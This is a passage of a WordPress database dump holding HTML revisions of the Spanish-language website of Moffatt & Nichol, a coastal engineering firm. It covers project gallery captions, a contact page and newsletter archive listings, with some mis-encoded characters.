href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/inspection-and-rehabilitation-services/\">Examinar los servicios de inspecciÃ³n y rehabilitaciÃ³n >></a></div>\n</div>\n <div class=\"brochure-wrapper-ports\">\n            <h3>publicaciones relevantes</h3>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">CalificaciÃ³n de la inspecciÃ³n y rehabilitaciÃ³n</strong><br />\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa estructural de frentes costeros y diseÃ±o marÃtimo, proporciona a sus clientes servicios de ingenierÃa </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION AND REHABILITATION QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">Folleto de inspecciÃ³n y rehabilitaciÃ³n</strong><br />\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa y diseÃ±o estructural de frentes costeros, proporciona a sus clientes servicios de ingenierÃa orientados hacia la prolongaciÃ³n de la vida de servicio.</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n        </div>\n         </div>        \n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>             ','InspecciÃ³n y rehabilitaciÃ³n','','inherit','open','open','','62-revision','','','2011-10-18 11:36:45','2011-10-18 11:36:45','',62,'http://moffattnichol.com/spanish/62-revision/',0,'revision','',0),(2334,1,'2012-08-29 14:15:49','2012-08-29 14:15:49','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-six.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Diseño detallado de la terminal de contenedores del Puerto Khalifa</div>\n<div class=\"gallary-text\">Abu Dhabi Ports Company contrató los servicios de Moffatt & Nichol como principal consultor de diseño para la infraestructura de la terminal de contenedores automatizada en Puerto Khalifa, una novedosa instalación en una isla de 87 hectáreas.</div>\n</div>','Ports two','','inherit','open','open','','2294-autosave','','','2012-08-29 14:15:49','2012-08-29 14:15:49','',2294,'http://moffattnichol.com/spanish/2294-autosave/',0,'revision','',0),(2335,1,'2012-08-29 14:15:48','2012-08-29 14:15:48','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-seven.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Debida diligencia para una planta de exportación de minerales de hierro</div>\n<div class=\"gallary-text\">Moffatt & Nichol revisó los aspectos técnicos, financieros y de implementación de la construcción de una planta de exportación de minerales de hierro en Brasil con una capacidad de procesamiento de 50 millones de toneladas anuales.</div>\n</div>','Ports Three','','inherit','open','open','','2295-autosave','','','2012-08-29 14:15:48','2012-08-29 14:15:48','',2295,'http://moffattnichol.com/spanish/2295-autosave/',0,'revision','',0),(2336,1,'2012-05-17 13:17:00','2012-05-17 13:17:00','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-nine.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Deltaport Muelle 3 Expansión</div>\n<div class=\"gallary-text\">Como parte de un equipo de dos empresas, Moffatt & Nichol completado el diseño detallado de uno de los mayores proyectos de ingeniería de puertos en la historia de la Columbia Británica: la expansión tercera plaza en el terminal de la Autoridad Portuaria de Vancouver de Deltaport de contenedores en el Banco Roberts..</div>\n</div>','Ports Four','','inherit','open','open','','2296-autosave','','','2012-05-17 13:17:00','2012-05-17 13:17:00','',2296,'http://moffattnichol.com/spanish/2296-autosave/',0,'revision','',0),(2337,1,'2012-08-29 14:16:13','2012-08-29 14:16:13','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-eight.jpg\" />\n\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Reemplazo del muelle 5 de reparación de naves</div>\n<div class=\"gallary-text\">El Moffatt & Nichol dirigida empresa MN3M conjunta prevista la planificación, análisis, renderizado, diseño-licitación-construcción pliego de cláusulas administrativas, gestión de proyectos y servicios de post-adjudicación de la construcción-para construir un nuevo $ 165 millones muelle de reparación de buques en el astillero naval de Norfolk, Virginia.</div>\n</div>\n','Ports Five','','inherit','open','open','','2297-autosave','','','2012-08-29 14:16:13','2012-08-29 14:16:13','',2297,'http://moffattnichol.com/spanish/2297-autosave/',0,'revision','',0),(2338,1,'2012-08-29 11:15:09','2012-08-29 11:15:09','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-three.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Profundización de canal de acceso al Puerto de Barranquilla</div>\n<div class=\"gallary-text\">Moffatt & Nichol prestaron servicios de ingeniería al Consorcio Canal de Río para profundizar, en 12 metros, el canal de acceso de 22 kilómetros que conduce al Puerto de Barranquilla, Colombia, a fin de permitir que buques Handymax de 35 000 toneladas hagan escala en el puerto.</div>\n</div>','Coastel three','','inherit','open','open','','2304-autosave','','','2012-08-29 11:15:09','2012-08-29 11:15:09','',2304,'http://moffattnichol.com/spanish/2304-autosave/',0,'revision','',0),(2339,1,'2012-08-29 11:15:13','2012-08-29 11:15:13','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Coney Island Sea-Gate</div>\n<div class=\"gallary-text\">Como parte de un estudio que examinó el desempeño de la Coney Island Beachfill proyecto, Moffatt & Nichol desarrollado alternativas para mejorar la retención de arena en el litoral del Mar Puerta del alcance que incluía, entre otras alternativas, un T-arena en la ingle de retención / costa sistema de protección.</div>\n</div>\n','Coastel four','','inherit','open','open','','2305-autosave','','','2012-08-29 11:15:13','2012-08-29 11:15:13','',2305,'http://moffattnichol.com/spanish/2305-autosave/',0,'revision','',0),(2340,1,'2012-05-17 13:25:40','2012-05-17 13:25:40','<img src=\"http://www.moffattnichol.com/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-five.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Baja del Río Passaic y la Bahía de Newark Estudio de Investigación de Remediación / Viabilidad</div>\n<div class=\"gallary-text\">Moffatt & Nichol was selected by a partnership of federal, state, and local agencies to conduct a comprehensive modeling program for a densely populated, heavily industrialized Superfund site encompassing a 17-mile stretch of the lower Passaic River in New Jersey.</div>\n</div>\n','Coastel Five','','inherit','open','open','','2306-autosave','','','2012-05-17 13:25:40','2012-05-17 13:25:40','',2306,'http://moffattnichol.com/spanish/2306-autosave/',0,'revision','',0),(2341,1,'2012-08-29 11:18:26','2012-08-29 11:18:26','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Corredor Alameda</div>\n<div class=\"gallary-text\">Como miembro de la empresa conjunta Alameda Corridor Engineering Team, Moffatt & Nichol prestó servicios de planeamiento, ingeniería y gestión del programa para el proyecto Corredor Alameda de $2400 millones, desde su creación en 1990 hasta el inicio de las operaciones y su servicio comercial en 2002.</div>\n</div>','Transportation one ','','inherit','open','open','','2309-autosave','','','2012-08-29 11:18:26','2012-08-29 11:18:26','',2309,'http://moffattnichol.com/spanish/2309-autosave/',0,'revision','',0),(2348,1,'2012-08-29 11:29:11','2012-08-29 11:29:11','<img src=\"http://www.moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-three.jpg\" />\n<div class=\"gallary-discription\">\n<div class=\"gallary-title\">Inspección de instalaciones de frente costero del astillero naval Puget Sound</div>\n<div class=\"gallary-text\">Mediante un contrato IDIQ (Entrega indefinida, cantidad indefinida) con el Centro de servicio NAVFAC, Moffatt & Nichol prestó servicios de inspección de instalaciones de frentes costeros para 29 tipos diferentes de estructuras en el astillero naval Puget Sound en Bremerton, Washington, incluyendo escolleras, dársenas, muelles, muros de retención, sistemas de defensa y diques secos.</div>\n</div> ','Inspection one','','inherit','open','open','','2323-autosave','','','2012-08-29 11:29:11','2012-08-29 11:29:11','',2323,'http://moffattnichol.com/spanish/2323-autosave/',0,'revision','',0),(2349,1,'2011-10-17 14:02:38','2011-10-17 14:02:38','<div class=\"content_faq\">\n<div class=\"contact-left\">\n            <h1>contÃ¡ctenos</h1>\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \n\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\n            \n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\n            <div class=\"contact-connectlink\">\n              ConÃ©ctese con nosotros:\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\n\n<br />\n\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\">pÃ¡gina de empleos</a>.\n\n<br />\n\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\n </div>\n\n<div class=\"partnership_right\">\n<h4>formulario de contacto</h4>\n<div class=\"txt_boxbg\">\n            <span>[contact-form-7 id=\"861\" title=\"Contact form 1\"]</span>\n            </div>\n<div class=\"clear\"></div>\n<div class=\"clear\"></div>\n</div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision','','','2011-10-17 14:02:38','2011-10-17 14:02:38','',16,'http://moffattnichol.com/spanish/16-revision/',0,'revision','',0),(2350,1,'2011-10-18 11:41:02','2011-10-18 11:41:02','<div class=\"content_faq\">\n<div class=\"newsletter-left\">\n<h1>Ãºltimo boletÃn de noticias</h1>\n<p><em>Volumen 9, nÃºmero 2</em></p>\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\n</div>\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\n<div class=\"brochure-wrapper\">\n<h3>archivo de boletines de noticias</h3>\n<div class=\"brochure-one\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong></p>\n<p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los caminos y las carreteras </p>\n</div>\n<p> <br />\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n<div class=\"brochure-one\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\n<strong class=\"green-new\">Puesta en marcha</strong></p>\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para celdas de potencia flotantes.</p>\n</div>\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n<div class=\"brochure-one\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\n<strong class=\"green-new\">Los puertos ahora</strong></p>\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la automatizaciÃ³n.</p>\n</div>\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n<div class=\"brochure-last\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la infraestructura y amenazas exteriores.</p>\n</div>\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n</div>\n<div class=\"brochure-wrapper\">\n<div class=\"brochure-one\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde nueva vida a las estructuras marÃtimas histÃ³ricas para servir a las nuevas generaciones.</p>\n</div>\n<p> <br />\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n<div class=\"brochure-last\">\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\n</div>\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\n</div>\n</div>\n</div>\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision','','','2011-10-18 11:41:02','2011-10-18 11:41:02','',75,'http://moffattnichol.com/spanish/75-revision/',0,'revision','',0),(2351,1,'2012-05-29 05:39:54','2012-05-29 05:39:54','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong></p>\r\n<p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para celdas de potencia flotantes.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la automatizaciÃ³n.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 1</em>\r\n<strong class=\"green-new\">Lo que nos depara el futuro</strong></p>\r\n<p>El futuro es ahoraâ€”calculando la protecciÃ³n para los frentes costeros y las vÃas navegables que enfrentan la elevaciÃ³n de mareas, el envejecimiento de la </p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n<div class=\"brochure-wrapper\">\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 2</em>\r\n<strong class=\"green-new\">Preserve, Proteja, Innove I&amp;R prolonga y renueva</strong></p><p>Los ingenieros-buzos tienen como objetivo la prolongaciÃ³n de la vida de servicio; la innovaciÃ³n del diseÃ±o infunde nueva vida a las estructuras marÃtimas histÃ³ricas para servir a las nuevas generaciones.</p>\r\n</div>\r\n<p> <br />\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%207%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue7-1.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 7, nÃºmero 1</em>\r\n<strong class=\"green-new\">Sobre rieles</strong></p><br />\r\n<p>El diseÃ±o, aÃºn mÃ¡s innovador y rÃ¡pido, mejora, expande y moderniza los corredores de transporte, a medida que avanzamos,</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-7-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/M&amp;N%20NL%20V7%20I1%206.10.09%20Final.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','BoletÃn de noticias','','inherit','open','open','','75-revision-2','','','2012-05-29 05:39:54','2012-05-29 05:39:54','',75,'http://moffattnichol.com/spanish/75-revision-2/',0,'revision','',0),(2352,1,'2012-05-29 05:46:33','2012-05-29 05:46:33','<div class=\"content_faq\">\r\n<div class=\"newsletter-left\">\r\n<h1>Ãºltimo boletÃn de noticias</h1>\r\n<p><em>Volumen 9, nÃºmero 2</em></p>\r\n<p><span class=\"title-issue\">Un mundo de puertos</span><br />\r\nCon la Terminal Intermodal del Puerto de Santos (TIPS) de Contrail, el puerto de Santos verÃ¡ su primer centro intermodal en CubatÃ£o, dirigido a aliviar la congestiÃ³n de trÃ¡fico comercial y mantener la carga en movimiento. Si desea mÃ¡s informaciÃ³n o reimpresiones, contacte con <a href=\"mailto:news@moffattnichol.com\">news@moffattnichol.com</a></p>\r\n<p><span class=\"more_right fr\"><a title=\"Descargar PDF\" href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/MN NL V9I2 Contrail Final 11.10.11 low.pdf\" target=\"_blank\">Descargar PDF</a> | <a title=\"Ver en lÃnea\" href=\"http://moffattnichol.com/spanish/volume-9-issue-2/\">Ver en lÃnea</a> </span></p>\r\n</div>\r\n<div class=\"newsletter-right\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/issue9-new.jpg\" alt=\"\" width=\"296\" height=\"400\" /></div>\r\n<div class=\"brochure-wrapper\">\r\n<h3>archivo de boletines de noticias</h3>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/road-bridge-go.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text\"><em class=\"aapa-date\">Volumen 9, nÃºmero 1</em>\r\n<strong class=\"green-new\">Camino, puente, Â¡Vamos!</strong>\r\n<p>Destacando la experiencia profesional en infraestructura de transporte y guiando las mercancÃas eficientemente a travÃ©s del complejo portuario y proporcionando seguridad a los</p>\r\n</div>\r\n<p>\r\n<span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-9-issue-1/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/MoffattNichol%20Newsletter%20Volume%209%20Issue%201.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-3.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 3</em>\r\n<strong class=\"green-new\">Puesta en marcha</strong></p>\r\n<p>Enfoque en fortalecer la industria de la energÃaâ€”diseÃ±ando para tecnologÃas no tradicionales, desde enormes buques de transporte de GNL hasta sistemas estructurales para celdas de potencia flotantes.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-3/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.8%20Issue%203.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-one\">\r\n<div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/isuue8-2.jpg\" alt=\"\" width=\"127\" height=\"172\" /></div>\r\n<div class=\"bordhure-text-two\"><em class=\"aapa-date\">Volumen 8, nÃºmero 2</em>\r\n<strong class=\"green-new\">Los puertos ahora</strong></p>\r\n<p>Una mirada a la dinÃ¡mica iniciativa de los frentes costeros de hoy: los puertos se amplÃan y acometen un nuevo desarrollo orientado al desplazamiento de cargas y la adopciÃ³n de la automatizaciÃ³n.</p>\r\n</div>\r\n<p><span class=\"moreheadlines-newone fr\"><a title=\"Ver\" href=\"http://moffattnichol.com/spanish/volume-8-issue-2/\">Ver</a> | <a title=\"Descargar\" href=\"http://moffattnichol.com/docs/Newsletter%20Vol.%208%20Issue%202.pdf\" target=\"_blank\">Descargar</a></span></p>\r\n</div>\r\n<div class=\"brochure-last\">\r\n<div class=\"brochure-black\"><img 